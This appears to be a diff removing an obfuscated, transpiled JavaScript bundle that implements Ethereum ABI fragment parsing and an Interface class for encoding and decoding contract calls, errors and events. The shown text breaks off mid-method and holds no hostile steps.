- key: "from",
- value: function (_0x4206bd) {
- if (_0x403efc.isFragment(_0x4206bd)) {
- return _0x4206bd;
- }
- if ("string" == typeof _0x4206bd) {
- return _0x403efc.from(_0x3ce43c(_0x4206bd));
- }
- if (_0x4206bd instanceof _0x11f4be) {
- var _0x46e172 = _0x37e60e("event", _0x4206bd);
- var _0x3bd79a = _0x578967(_0x4206bd, true);
- var _0x5e2bd7 = !!_0x59e44b(_0x4206bd, _0x5306cc(["anonymous"])).has("anonymous");
- _0x1b0a10(_0x4206bd);
- return new _0x403efc(_0x1511b0, _0x46e172, _0x3bd79a, _0x5e2bd7);
- }
- return new _0x403efc(_0x1511b0, _0x4206bd.name, _0x4206bd.inputs ? _0x4206bd.inputs.map(function (_0xc67613) {
- return _0x26af2e.from(_0xc67613, true);
- }) : [], !!_0x4206bd.anonymous);
- }
- }, {
- key: "isFragment",
- value: function (_0x3ac096) {
- return _0x3ac096 && _0x3ac096[_0x20fd99] === _0x5b941a;
- }
- }]);
- return _0x403efc;
- }(_0x5a7588);
- var _0x3c7daa = function (_0x3bbb79) {
- _0x2e6032(_0x328e13, _0x3bbb79);
- var _0x5a8eb8 = _0x531454(_0x328e13);
- function _0x328e13(_0x1bd804, _0x1b173b, _0x5c86f5, _0x1486b5, _0x430f9f) {
- var _0x1753d8;
- _0x1d998d(this, _0x328e13);
- _0x713ed3(_0x3ea587(_0x1753d8 = _0x5a8eb8.call(this, _0x1bd804, _0x1b173b, _0x5c86f5)), "payable", undefined);
- _0x713ed3(_0x3ea587(_0x1753d8), "gas", undefined);
- Object.defineProperty(_0x3ea587(_0x1753d8), _0x20fd99, {
- value: _0xe9e2f9
- });
- _0x7e8dd6(_0x3ea587(_0x1753d8), {
- payable: _0x1486b5,
- gas: _0x430f9f
- });
- return _0x1753d8;
- }
- _0x561e78(_0x328e13, [{
- key: "format",
- value: function (_0x305486) {
- if (_0x2b816d(null != _0x305486 && "sighash" !== _0x305486, "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", {
- operation: "format(sighash)"
- }), "json" === _0x305486) {
- return JSON.stringify({
- type: "constructor",
- stateMutability: this.payable ? "payable" : "undefined",
- payable: this.payable,
- gas: null != this.gas ? this.gas : undefined,
- inputs: this.inputs.map(function (_0xe6dca8) {
- return JSON.parse(_0xe6dca8.format(_0x305486));
- })
- });
- }
- var _0x2d0ada = ["constructor".concat(_0xfb5a92(_0x305486, this.inputs))];
- _0x2d0ada.push(this.payable ? "payable" : "nonpayable");
- null != this.gas && _0x2d0ada.push("@".concat(this.gas.toString()));
- return _0x2d0ada.join(" ");
- }
- }], [{
- key: "from",
- value: function (_0x24e297) {
- if (_0x328e13.isFragment(_0x24e297)) {
- return _0x24e297;
- }
- if ("string" == typeof _0x24e297) {
- return _0x328e13.from(_0x3ce43c(_0x24e297));
- }
- if (_0x24e297 instanceof _0x11f4be) {
- _0x59e44b(_0x24e297, _0x5306cc(["constructor"]));
- var _0x2e308a = _0x578967(_0x24e297);
- var _0x22afdb = !!_0x59e44b(_0x24e297, _0x5306cc(["payable"])).has("payable");
- var _0xa5c9ab = _0x2ef942(_0x24e297);
- _0x1b0a10(_0x24e297);
- return new _0x328e13(_0x1511b0, "constructor", _0x2e308a, _0x22afdb, _0xa5c9ab);
- }
- return new _0x328e13(_0x1511b0, "constructor", _0x24e297.inputs ? _0x24e297.inputs.map(_0x26af2e.from) : [], !!_0x24e297.payable, null != _0x24e297.gas ? _0x24e297.gas : null);
- }
- }, {
- key: "isFragment",
- value: function (_0x1dc2ba) {
- return _0x1dc2ba && _0x1dc2ba[_0x20fd99] === _0xe9e2f9;
- }
- }]);
- return _0x328e13;
- }(_0x4a182f);
- var _0x487408 = function (_0x48b8e2) {
- _0x2e6032(_0x52315d, _0x48b8e2);
- var _0x1c7f0f = _0x531454(_0x52315d);
- function _0x52315d(_0x28fc10, _0x170fb0, _0x56d885) {
- var _0x10441f;
- _0x1d998d(this, _0x52315d);
- _0x713ed3(_0x3ea587(_0x10441f = _0x1c7f0f.call(this, _0x28fc10, "fallback", _0x170fb0)), "payable", undefined);
- Object.defineProperty(_0x3ea587(_0x10441f), _0x20fd99, {
- value: _0x225e6f
- });
- _0x7e8dd6(_0x3ea587(_0x10441f), {
- payable: _0x56d885
- });
- return _0x10441f;
- }
- _0x561e78(_0x52315d, [{
- key: "format",
- value: function (_0x2315a7) {
- var _0x496440 = 0 === this.inputs.length ? "receive" : "fallback";
- if ("json" === _0x2315a7) {
- var _0x312e94 = this.payable ? "payable" : "nonpayable";
- return JSON.stringify({
- type: _0x496440,
- stateMutability: _0x312e94
- });
- }
- return "".concat(_0x496440, "()").concat(this.payable ? " payable" : "");
- }
- }], [{
- key: "from",
- value: function (_0x3d77a3) {
- if (_0x52315d.isFragment(_0x3d77a3)) {
- return _0x3d77a3;
- }
- if ("string" == typeof _0x3d77a3) {
- return _0x52315d.from(_0x3ce43c(_0x3d77a3));
- }
- if (_0x3d77a3 instanceof _0x11f4be) {
- var _0x2e236d = _0x3d77a3.toString();
- if (_0x413a2d(_0x3d77a3.peekKeyword(_0x5306cc(["fallback", "receive"])), "type must be fallback or receive", "obj", _0x2e236d), "receive" === _0x3d77a3.popKeyword(_0x5306cc(["fallback", "receive"]))) {
- var _0x24d25f = _0x578967(_0x3d77a3);
- _0x413a2d(0 === _0x24d25f.length, "receive cannot have arguments", "obj.inputs", _0x24d25f);
- _0x59e44b(_0x3d77a3, _0x5306cc(["payable"]));
- _0x1b0a10(_0x3d77a3);
- return new _0x52315d(_0x1511b0, [], true);
- }
- var _0x5f4432 = _0x578967(_0x3d77a3);
- _0x5f4432.length ? _0x413a2d(1 === _0x5f4432.length && "bytes" === _0x5f4432[0].type, "invalid fallback inputs", "obj.inputs", _0x5f4432.map(function (_0x37eedf) {
- return _0x37eedf.format("minimal");
- }).join(", ")) : _0x5f4432 = [_0x26af2e.from("bytes")];
- var _0x4f9908 = _0x169b7c(_0x3d77a3);
- if (_0x413a2d("nonpayable" === _0x4f9908 || "payable" === _0x4f9908, "fallback cannot be constants", "obj.stateMutability", _0x4f9908), _0x59e44b(_0x3d77a3, _0x5306cc(["returns"])).has("returns")) {
- var _0x480475 = _0x578967(_0x3d77a3);
- _0x413a2d(1 === _0x480475.length && "bytes" === _0x480475[0].type, "invalid fallback outputs", "obj.outputs", _0x480475.map(function (_0x31f100) {
- return _0x31f100.format("minimal");
- }).join(", "));
- }
- _0x1b0a10(_0x3d77a3);
- return new _0x52315d(_0x1511b0, _0x5f4432, "payable" === _0x4f9908);
- }
- if ("receive" === _0x3d77a3.type) {
- return new _0x52315d(_0x1511b0, [], true);
- }
- if ("fallback" === _0x3d77a3.type) {
- var _0x52341a = [_0x26af2e.from("bytes")];
- var _0x5281de = "payable" === _0x3d77a3.stateMutability;
- return new _0x52315d(_0x1511b0, _0x52341a, _0x5281de);
- }
- _0x413a2d(false, "invalid fallback description", "obj", _0x3d77a3);
- }
- }, {
- key: "isFragment",
- value: function (_0x4a317b) {
- return _0x4a317b && _0x4a317b[_0x20fd99] === _0x225e6f;
- }
- }]);
- return _0x52315d;
- }(_0x4a182f);
- var _0xeb7e8b = function (_0x528234) {
- _0x2e6032(_0x393bf0, _0x528234);
- var _0x4627ef = _0x531454(_0x393bf0);
- function _0x393bf0(_0x5c98e8, _0x28e086, _0x4a14c6, _0x5c9246, _0x3e4840, _0x307ef4) {
- var _0x7ab98c;
- _0x1d998d(this, _0x393bf0);
- _0x713ed3(_0x3ea587(_0x7ab98c = _0x4627ef.call(this, _0x5c98e8, "function", _0x28e086, _0x5c9246)), "constant", undefined);
- _0x713ed3(_0x3ea587(_0x7ab98c), "outputs", undefined);
- _0x713ed3(_0x3ea587(_0x7ab98c), "stateMutability", undefined);
- _0x713ed3(_0x3ea587(_0x7ab98c), "payable", undefined);
- _0x713ed3(_0x3ea587(_0x7ab98c), "gas", undefined);
- Object.defineProperty(_0x3ea587(_0x7ab98c), _0x20fd99, {
- value: _0x41afd3
- });
- _0x3e4840 = Object.freeze(_0x3e4840.slice());
- var _0x1531c0 = "view" === _0x4a14c6 || "pure" === _0x4a14c6;
- var _0x4cee04 = "payable" === _0x4a14c6;
- _0x7e8dd6(_0x3ea587(_0x7ab98c), {
- constant: _0x1531c0,
- gas: _0x307ef4,
- outputs: _0x3e4840,
- payable: _0x4cee04,
- stateMutability: _0x4a14c6
- });
- return _0x7ab98c;
- }
- _0x561e78(_0x393bf0, [{
- key: "selector",
- get: function () {
- return _0x261fa4(this.format("sighash")).substring(0, 10);
- }
- }, {
- key: "format",
- value: function (_0x57944f) {
- if (null == _0x57944f && (_0x57944f = "sighash"), "json" === _0x57944f) {
- return JSON.stringify({
- type: "function",
- name: this.name,
- constant: this.constant,
- stateMutability: "nonpayable" !== this.stateMutability ? this.stateMutability : undefined,
- payable: this.payable,
- gas: null != this.gas ? this.gas : undefined,
- inputs: this.inputs.map(function (_0x457c4d) {
- return JSON.parse(_0x457c4d.format(_0x57944f));
- }),
- outputs: this.outputs.map(function (_0x28cdad) {
- return JSON.parse(_0x28cdad.format(_0x57944f));
- })
- });
- }
- var _0x54c2e6 = [];
- "sighash" !== _0x57944f && _0x54c2e6.push("function");
- _0x54c2e6.push(this.name + _0xfb5a92(_0x57944f, this.inputs));
- "sighash" !== _0x57944f && ("nonpayable" !== this.stateMutability && _0x54c2e6.push(this.stateMutability), this.outputs && this.outputs.length && (_0x54c2e6.push("returns"), _0x54c2e6.push(_0xfb5a92(_0x57944f, this.outputs))), null != this.gas && _0x54c2e6.push("@".concat(this.gas.toString())));
- return _0x54c2e6.join(" ");
- }
- }], [{
- key: "getSelector",
- value: function (_0x1aaf54, _0x18aa5b) {
- _0x18aa5b = (_0x18aa5b || []).map(function (_0x55fcbc) {
- return _0x26af2e.from(_0x55fcbc);
- });
- return new _0x393bf0(_0x1511b0, _0x1aaf54, "view", _0x18aa5b, [], null).selector;
- }
- }, {
- key: "from",
- value: function (_0x2ce89b) {
- if (_0x393bf0.isFragment(_0x2ce89b)) {
- return _0x2ce89b;
- }
- if ("string" == typeof _0x2ce89b) {
- return _0x393bf0.from(_0x3ce43c(_0x2ce89b));
- }
- if (_0x2ce89b instanceof _0x11f4be) {
- var _0x4ec415 = _0x37e60e("function", _0x2ce89b);
- var _0x36f98c = _0x578967(_0x2ce89b);
- var _0x390fc7 = _0x169b7c(_0x2ce89b);
- var _0x17b4cc = [];
- _0x59e44b(_0x2ce89b, _0x5306cc(["returns"])).has("returns") && (_0x17b4cc = _0x578967(_0x2ce89b));
- var _0x598557 = _0x2ef942(_0x2ce89b);
- _0x1b0a10(_0x2ce89b);
- return new _0x393bf0(_0x1511b0, _0x4ec415, _0x390fc7, _0x36f98c, _0x17b4cc, _0x598557);
- }
- return new _0x393bf0(_0x1511b0, _0x2ce89b.name, _0x2ce89b.stateMutability, _0x2ce89b.inputs ? _0x2ce89b.inputs.map(_0x26af2e.from) : [], _0x2ce89b.outputs ? _0x2ce89b.outputs.map(_0x26af2e.from) : [], null != _0x2ce89b.gas ? _0x2ce89b.gas : null);
- }
- }, {
- key: "isFragment",
- value: function (_0xf03023) {
- return _0xf03023 && _0xf03023[_0x20fd99] === _0x41afd3;
- }
- }]);
- return _0x393bf0;
- }(_0x5a7588);
- var _0x1982fb = function (_0x41d0f5) {
- _0x2e6032(_0xf39b53, _0x41d0f5);
- var _0x21c156 = _0x531454(_0xf39b53);
- function _0xf39b53(_0x111f34, _0x1a9adc, _0x5aadb) {
- var _0x427556;
- _0x1d998d(this, _0xf39b53);
- _0x427556 = _0x21c156.call(this, _0x111f34, "struct", _0x1a9adc, _0x5aadb);
- Object.defineProperty(_0x3ea587(_0x427556), _0x20fd99, {
- value: _0x242f3c
- });
- return _0x427556;
- }
- _0x561e78(_0xf39b53, [{
- key: "format",
- value: function () {
- throw new Error("@TODO");
- }
- }], [{
- key: "from",
- value: function (_0x580c94) {
- if ("string" == typeof _0x580c94) {
- return _0xf39b53.from(_0x3ce43c(_0x580c94));
- }
- if (_0x580c94 instanceof _0x11f4be) {
- var _0x41c727 = _0x37e60e("struct", _0x580c94);
- var _0x1ad30a = _0x578967(_0x580c94);
- _0x1b0a10(_0x580c94);
- return new _0xf39b53(_0x1511b0, _0x41c727, _0x1ad30a);
- }
- return new _0xf39b53(_0x1511b0, _0x580c94.name, _0x580c94.inputs ? _0x580c94.inputs.map(_0x26af2e.from) : []);
- }
- }, {
- key: "isFragment",
- value: function (_0xbb356a) {
- return _0xbb356a && _0xbb356a[_0x20fd99] === _0x242f3c;
- }
- }]);
- return _0xf39b53;
- }(_0x5a7588);
- function _0x365b47(_0x4236f4, _0x1d7bd1) {
- var _0x166111 = "undefined" != typeof Symbol && _0x4236f4[Symbol.iterator] || _0x4236f4["@@iterator"];
- if (!_0x166111) {
- if (Array.isArray(_0x4236f4) || (_0x166111 = function (_0x52bc6f, _0x4415ca) {
- if (_0x52bc6f) {
- if ("string" == typeof _0x52bc6f) {
- return _0x115917(_0x52bc6f, _0x4415ca);
- }
- var _0x57a445 = Object.prototype.toString.call(_0x52bc6f).slice(8, -1);
- "Object" === _0x57a445 && _0x52bc6f.constructor && (_0x57a445 = _0x52bc6f.constructor.name);
- return "Map" === _0x57a445 || "Set" === _0x57a445 ? Array.from(_0x52bc6f) : "Arguments" === _0x57a445 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x57a445) ? _0x115917(_0x52bc6f, _0x4415ca) : undefined;
- }
- }(_0x4236f4)) || _0x1d7bd1 && _0x4236f4 && "number" == typeof _0x4236f4.length) {
- _0x166111 && (_0x4236f4 = _0x166111);
- var _0x103b9f = 0;
- var _0x308e3e = function () {};
- return {
- s: _0x308e3e,
- n: function () {
- return _0x103b9f >= _0x4236f4.length ? {
- done: true
- } : {
- done: false,
- value: _0x4236f4[_0x103b9f++]
- };
- },
- e: function (_0x47cafc) {
- throw _0x47cafc;
- },
- f: _0x308e3e
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0xf120b;
- var _0x402465 = true;
- var _0x224d35 = false;
- return {
- s: function () {
- _0x166111 = _0x166111.call(_0x4236f4);
- },
- n: function () {
- var _0x25e4cc = _0x166111.next();
- _0x402465 = _0x25e4cc.done;
- return _0x25e4cc;
- },
- e: function (_0x3406b9) {
- _0x224d35 = true;
- _0xf120b = _0x3406b9;
- },
- f: function () {
- try {
- _0x402465 || null == _0x166111.return || _0x166111.return();
- } finally {
- if (_0x224d35) {
- throw _0xf120b;
- }
- }
- }
- };
- }
- function _0x115917(_0x192ee2, _0xd92658) {
- (null == _0xd92658 || _0xd92658 > _0x192ee2.length) && (_0xd92658 = _0x192ee2.length);
- for (var _0x48a3b4 = 0, _0x4b4205 = new Array(_0xd92658); _0x48a3b4 < _0xd92658; _0x48a3b4++) {
- _0x4b4205[_0x48a3b4] = _0x192ee2[_0x48a3b4];
- }
- return _0x4b4205;
- }
- function _0x22c7c8(_0x296e41, _0x2a3a2c) {
- _0x2ad7ad(_0x296e41, _0x2a3a2c);
- _0x2a3a2c.add(_0x296e41);
- }
- function _0x1ede61(_0x1b1759, _0x1a4fdd, _0x1ead48) {
- _0x2ad7ad(_0x1b1759, _0x1a4fdd);
- _0x1a4fdd.set(_0x1b1759, _0x1ead48);
- }
- function _0x2ad7ad(_0xd29e65, _0x404ee5) {
- if (_0x404ee5.has(_0xd29e65)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- function _0x34ca79(_0x2972a9, _0x103522, _0x2afabf) {
- if (!_0x103522.has(_0x2972a9)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x2afabf;
- }
- var _0x452812 = _0x561e78(function _0xb854d9(_0xbed6e1, _0x37f1cf, _0x36d5e5) {
- _0x1d998d(this, _0xb854d9);
- _0x713ed3(this, "fragment", undefined);
- _0x713ed3(this, "name", undefined);
- _0x713ed3(this, "signature", undefined);
- _0x713ed3(this, "topic", undefined);
- _0x713ed3(this, "args", undefined);
- var _0x35c30d = _0xbed6e1.name;
- var _0x1fd3d8 = _0xbed6e1.format();
- _0x7e8dd6(this, {
- fragment: _0xbed6e1,
- name: _0x35c30d,
- signature: _0x1fd3d8,
- topic: _0x37f1cf,
- args: _0x36d5e5
- });
- });
- var _0x466ffa = _0x561e78(function _0x4b67f1(_0x6d4d74, _0x39775d, _0x56872c, _0x1662c5) {
- _0x1d998d(this, _0x4b67f1);
- _0x713ed3(this, "fragment", undefined);
- _0x713ed3(this, "name", undefined);
- _0x713ed3(this, "args", undefined);
- _0x713ed3(this, "signature", undefined);
- _0x713ed3(this, "selector", undefined);
- _0x713ed3(this, "value", undefined);
- var _0x368cc2 = _0x6d4d74.name;
- var _0x3f850e = _0x6d4d74.format();
- _0x7e8dd6(this, {
- fragment: _0x6d4d74,
- name: _0x368cc2,
- args: _0x56872c,
- signature: _0x3f850e,
- selector: _0x39775d,
- value: _0x1662c5
- });
- });
- var _0x4b4173 = _0x561e78(function _0x85c71e(_0x19f220, _0x401c4e, _0x54c99e) {
- _0x1d998d(this, _0x85c71e);
- _0x713ed3(this, "fragment", undefined);
- _0x713ed3(this, "name", undefined);
- _0x713ed3(this, "args", undefined);
- _0x713ed3(this, "signature", undefined);
- _0x713ed3(this, "selector", undefined);
- var _0x2a8709 = _0x19f220.name;
- var _0x231e84 = _0x19f220.format();
- _0x7e8dd6(this, {
- fragment: _0x19f220,
- name: _0x2a8709,
- args: _0x54c99e,
- signature: _0x231e84,
- selector: _0x401c4e
- });
- });
- var _0x5a563d = function () {
- function _0x3c9428(_0x54b929) {
- _0x1d998d(this, _0x3c9428);
- _0x713ed3(this, "hash", undefined);
- _0x713ed3(this, "_isIndexed", undefined);
- _0x7e8dd6(this, {
- hash: _0x54b929,
- _isIndexed: true
- });
- }
- _0x561e78(_0x3c9428, null, [{
- key: "isIndexed",
- value: function (_0x427bca) {
- return !(!_0x427bca || !_0x427bca._isIndexed);
- }
- }]);
- return _0x3c9428;
- }();
- var _0x24c50b = {
- 0: "generic panic",
- 1: "assert(false)",
- 17: "arithmetic overflow",
- 18: "division or modulo by zero",
- 33: "enum overflow",
- 34: "invalid encoded storage byte array accessed",
- 49: "out-of-bounds array access; popping on an empty array",
- 50: "out-of-bounds access of an array or bytesN",
- 65: "out of memory",
- 81: "uninitialized function"
- };
- var _0x2d391b = {
- "0x08c379a0": {
- signature: "Error(string)",
- name: "Error",
- inputs: ["string"],
- reason: function (_0x5515db) {
- return "reverted with reason string ".concat(JSON.stringify(_0x5515db));
- }
- },
- "0x4e487b71": {
- signature: "Panic(uint256)",
- name: "Panic",
- inputs: ["uint256"],
- reason: function (_0x294985) {
- var _0x395e3e = "unknown panic code";
- _0x294985 >= 0 && _0x294985 <= 255 && _0x24c50b[_0x294985.toString()] && (_0x395e3e = _0x24c50b[_0x294985.toString()]);
- return "reverted with panic code 0x".concat(_0x294985.toString(16), " (").concat(_0x395e3e, ")");
- }
- }
- };
- var _0x260144 = new WeakMap();
- var _0x4ed12f = new WeakMap();
- var _0x1e84a5 = new WeakMap();
- var _0xb4c09c = new WeakMap();
- var _0x50ed76 = new WeakSet();
- var _0x1a50c6 = new WeakSet();
- var _0x401dd0 = function () {
- function _0x31093d(_0x9b7be1) {
- var _0x25f679 = this;
- _0x1d998d(this, _0x31093d);
- _0x22c7c8(this, _0x1a50c6);
- _0x22c7c8(this, _0x50ed76);
- _0x713ed3(this, "fragments", undefined);
- _0x713ed3(this, "deploy", undefined);
- _0x713ed3(this, "fallback", undefined);
- _0x713ed3(this, "receive", undefined);
- _0x1ede61(this, _0x260144, {
- writable: true,
- value: undefined
- });
- _0x1ede61(this, _0x4ed12f, {
- writable: true,
- value: undefined
- });
- _0x1ede61(this, _0x1e84a5, {
- writable: true,
- value: undefined
- });
- _0x1ede61(this, _0xb4c09c, {
- writable: true,
- value: undefined
- });
- var _0xffac0b;
- _0xffac0b = "string" == typeof _0x9b7be1 ? JSON.parse(_0x9b7be1) : _0x9b7be1;
- _0x207f54(this, _0x1e84a5, new Map());
- _0x207f54(this, _0x260144, new Map());
- _0x207f54(this, _0x4ed12f, new Map());
- var _0x268c58;
- var _0x2905c2 = [];
- var _0x4c93c1 = _0x365b47(_0xffac0b);
- try {
- for (_0x4c93c1.s(); !(_0x268c58 = _0x4c93c1.n()).done;) {
- var _0x43e94b = _0x268c58.value;
- try {
- _0x2905c2.push(_0x4a182f.from(_0x43e94b));
- } catch (_0x1b4d1d) {
- console.log("EE", _0x1b4d1d);
- }
- }
- } catch (_0x495666) {
- _0x4c93c1.e(_0x495666);
- } finally {
- _0x4c93c1.f();
- }
- _0x7e8dd6(this, {
- fragments: Object.freeze(_0x2905c2)
- });
- var _0xe97ab5 = null;
- var _0x1326ac = false;
- _0x207f54(this, _0xb4c09c, this.getAbiCoder());
- this.fragments.forEach(function (_0x21f34a, _0x248180) {
- var _0x54de97;
- switch (_0x21f34a.type) {
- case "constructor":
- return _0x25f679.deploy ? void console.log("duplicate definition - constructor") : void _0x7e8dd6(_0x25f679, {
- deploy: _0x21f34a
- });
- case "fallback":
- return void (0 === _0x21f34a.inputs.length ? _0x1326ac = true : (_0x413a2d(!_0xe97ab5 || _0x21f34a.payable !== _0xe97ab5.payable, "conflicting fallback fragments", "fragments[".concat(_0x248180, "]"), _0x21f34a), _0x1326ac = (_0xe97ab5 = _0x21f34a).payable));
- case "function":
- _0x54de97 = _0x46b89d(_0x25f679, _0x1e84a5);
- break;
- case "event":
- _0x54de97 = _0x46b89d(_0x25f679, _0x4ed12f);
- break;
- case "error":
- _0x54de97 = _0x46b89d(_0x25f679, _0x260144);
- break;
- default:
- return;
- }
- var _0xe1a7b9 = _0x21f34a.format();
- _0x54de97.has(_0xe1a7b9) || _0x54de97.set(_0xe1a7b9, _0x21f34a);
- });
- this.deploy || _0x7e8dd6(this, {
- deploy: _0x3c7daa.from("constructor()")
- });
- _0x7e8dd6(this, {
- fallback: _0xe97ab5,
- receive: _0x1326ac
- });
- }
- _0x561e78(_0x31093d, [{
- key: "format",
- value: function (_0x334563) {
- var _0x43dae5 = _0x334563 ? "minimal" : "full";
- var _0x45f61e = this.fragments.map(function (_0x4f235e) {
- return _0x4f235e.format(_0x43dae5);
- });
- return _0x45f61e;
- }
- }, {
- key: "formatJson",
- value: function () {
- var _0x7485fd = this.fragments.map(function (_0x1afe30) {
- return _0x1afe30.format("json");
- });
- return JSON.stringify(_0x7485fd.map(function (_0x4e569d) {
- return JSON.parse(_0x4e569d);
- }));
- }
- }, {
- key: "getAbiCoder",
- value: function () {
- return _0x9f08ce.defaultAbiCoder();
- }
- }, {
- key: "getFunctionName",
- value: function (_0x347e8a) {
- var _0x1dd5b7 = _0x34ca79(this, _0x50ed76, _0x49768c).call(this, _0x347e8a, null, false);
- _0x413a2d(_0x1dd5b7, "no matching function", "key", _0x347e8a);
- return _0x1dd5b7.name;
- }
- }, {
- key: "getFunction",
- value: function (_0x562694, _0x4bba1b) {
- return _0x34ca79(this, _0x50ed76, _0x49768c).call(this, _0x562694, _0x4bba1b || null, true);
- }
- }, {
- key: "forEachFunction",
- value: function (_0x2975df) {
- var _0x39545e = Array.from(_0x46b89d(this, _0x1e84a5).keys());
- _0x39545e.sort(function (_0x2159ea, _0x3ba653) {
- return _0x2159ea.localeCompare(_0x3ba653);
- });
- for (var _0x403799 = 0; _0x403799 < _0x39545e.length; _0x403799++) {
- var _0x293871 = _0x39545e[_0x403799];
- _0x2975df(_0x46b89d(this, _0x1e84a5).get(_0x293871), _0x403799);
- }
- }
- }, {
- key: "getEventName",
- value: function (_0x5eca40) {
- var _0x5ae210 = _0x34ca79(this, _0x1a50c6, _0x6547f6).call(this, _0x5eca40, null, false);
- _0x413a2d(_0x5ae210, "no matching event", "key", _0x5eca40);
- return _0x5ae210.name;
- }
- }, {
- key: "getEvent",
- value: function (_0x43ed86, _0x2f088a) {
- return _0x34ca79(this, _0x1a50c6, _0x6547f6).call(this, _0x43ed86, _0x2f088a || null, true);
- }
- }, {
- key: "forEachEvent",
- value: function (_0x41ca3b) {
- var _0x481fca = Array.from(_0x46b89d(this, _0x4ed12f).keys());
- _0x481fca.sort(function (_0x4fd215, _0x1a5a85) {
- return _0x4fd215.localeCompare(_0x1a5a85);
- });
- for (var _0xb93cfc = 0; _0xb93cfc < _0x481fca.length; _0xb93cfc++) {
- var _0x1d7042 = _0x481fca[_0xb93cfc];
- _0x41ca3b(_0x46b89d(this, _0x4ed12f).get(_0x1d7042), _0xb93cfc);
- }
- }
- }, {
- key: "getError",
- value: function (_0x7704cc, _0x2fa2e4) {
- if (_0x2c6f22(_0x7704cc)) {
- var _0x47021d = _0x7704cc.toLowerCase();
- if (_0x2d391b[_0x47021d]) {
- return _0x2c0b6d.from(_0x2d391b[_0x47021d].signature);
- }
- var _0x138024;
- var _0x3075a3 = _0x365b47(_0x46b89d(this, _0x260144).values());
- try {
- for (_0x3075a3.s(); !(_0x138024 = _0x3075a3.n()).done;) {
- var _0x57b53c = _0x138024.value;
- if (_0x47021d === _0x57b53c.selector) {
- return _0x57b53c;
- }
- }
- } catch (_0x972509) {
- _0x3075a3.e(_0x972509);
- } finally {
- _0x3075a3.f();
- }
- return null;
- }
- if (-1 === _0x7704cc.indexOf("(")) {
- var _0x1b57aa;
- var _0x50d162 = [];
- var _0x485a06 = _0x365b47(_0x46b89d(this, _0x260144));
- try {
- for (_0x485a06.s(); !(_0x1b57aa = _0x485a06.n()).done;) {
- var _0x267e74 = _0x19dc48(_0x1b57aa.value, 2);
- var _0x583301 = _0x267e74[0];
- var _0x5031e9 = _0x267e74[1];
- _0x583301.split("(")[0] === _0x7704cc && _0x50d162.push(_0x5031e9);
- }
- } catch (_0x50b94b) {
- _0x485a06.e(_0x50b94b);
- } finally {
- _0x485a06.f();
- }
- if (0 === _0x50d162.length) {
- return "Error" === _0x7704cc ? _0x2c0b6d.from("error Error(string)") : "Panic" === _0x7704cc ? _0x2c0b6d.from("error Panic(uint256)") : null;
- }
- if (_0x50d162.length > 1) {
- var _0x2403f8 = _0x50d162.map(function (_0x2bcf09) {
- return JSON.stringify(_0x2bcf09.format());
- }).join(", ");
- _0x413a2d(false, "ambiguous error description (i.e. ".concat(_0x2403f8, ")"), "name", _0x7704cc);
- }
- return _0x50d162[0];
- }
- return "Error(string)" === (_0x7704cc = _0x2c0b6d.from(_0x7704cc).format()) ? _0x2c0b6d.from("error Error(string)") : "Panic(uint256)" === _0x7704cc ? _0x2c0b6d.from("error Panic(uint256)") : _0x46b89d(this, _0x260144).get(_0x7704cc) || null;
- }
- }, {
- key: "forEachError",
- value: function (_0x161e33) {
- var _0x4a7c5d = Array.from(_0x46b89d(this, _0x260144).keys());
- _0x4a7c5d.sort(function (_0x164509, _0x299808) {
- return _0x164509.localeCompare(_0x299808);
- });
- for (var _0x3d7a37 = 0; _0x3d7a37 < _0x4a7c5d.length; _0x3d7a37++) {
- var _0x5e6605 = _0x4a7c5d[_0x3d7a37];
- _0x161e33(_0x46b89d(this, _0x260144).get(_0x5e6605), _0x3d7a37);
- }
- }
- }, {
- key: "_decodeParams",
- value: function (_0x1615d9, _0x4e3652) {
- return _0x46b89d(this, _0xb4c09c).decode(_0x1615d9, _0x4e3652);
- }
- }, {
- key: "_encodeParams",
- value: function (_0x4ed7d6, _0x2df172) {
- return _0x46b89d(this, _0xb4c09c).encode(_0x4ed7d6, _0x2df172);
- }
- }, {
- key: "encodeDeploy",
- value: function (_0x14e4aa) {
- return this._encodeParams(this.deploy.inputs, _0x14e4aa || []);
- }
- }, {
- key: "decodeErrorResult",
- value: function (_0x13e9bc, _0x124fa4) {
- if ("string" == typeof _0x13e9bc) {
- var _0x3dbeb3 = this.getError(_0x13e9bc);
- _0x413a2d(_0x3dbeb3, "unknown error", "fragment", _0x13e9bc);
- _0x13e9bc = _0x3dbeb3;
- }
- _0x413a2d(_0x3ec258(_0x124fa4, 0, 4) === _0x13e9bc.selector, "data signature does not match error ".concat(_0x13e9bc.name, "."), "data", _0x124fa4);
- return this._decodeParams(_0x13e9bc.inputs, _0x3ec258(_0x124fa4, 4));
- }
- }, {
- key: "encodeErrorResult",
- value: function (_0x30247f, _0x4859a0) {
- if ("string" == typeof _0x30247f) {
- var _0x5752ee = this.getError(_0x30247f);
- _0x413a2d(_0x5752ee, "unknown error", "fragment", _0x30247f);
- _0x30247f = _0x5752ee;
- }
- return _0x251cd2([_0x30247f.selector, this._encodeParams(_0x30247f.inputs, _0x4859a0 || [])]);
- }
- }, {
- key: "decodeFunctionData",
- value: function (_0x32c17d, _0x296720) {
- if ("string" == typeof _0x32c17d) {
- var _0x495a8a = this.getFunction(_0x32c17d);
- _0x413a2d(_0x495a8a, "unknown function", "fragment", _0x32c17d);
- _0x32c17d = _0x495a8a;
- }
- _0x413a2d(_0x3ec258(_0x296720, 0, 4) === _0x32c17d.selector, "data signature does not match function ".concat(_0x32c17d.name, "."), "data", _0x296720);
- return this._decodeParams(_0x32c17d.inputs, _0x3ec258(_0x296720, 4));
- }
- }, {
- key: "encodeFunctionData",
- value: function (_0x4e10bf, _0x5096ab) {
- if ("string" == typeof _0x4e10bf) {
- var _0x135561 = this.getFunction(_0x4e10bf);
- _0x413a2d(_0x135561, "unknown function", "fragment", _0x4e10bf);
- _0x4e10bf = _0x135561;
- }
- return _0x251cd2([_0x4e10bf.selector, this._encodeParams(_0x4e10bf.inputs, _0x5096ab || [])]);
- }
- }, {
- key: "decodeFunctionResult",
- value: function (_0x3eae5c, _0x46b594) {
- if ("string" == typeof _0x3eae5c) {
- var _0x410578 = this.getFunction(_0x3eae5c);
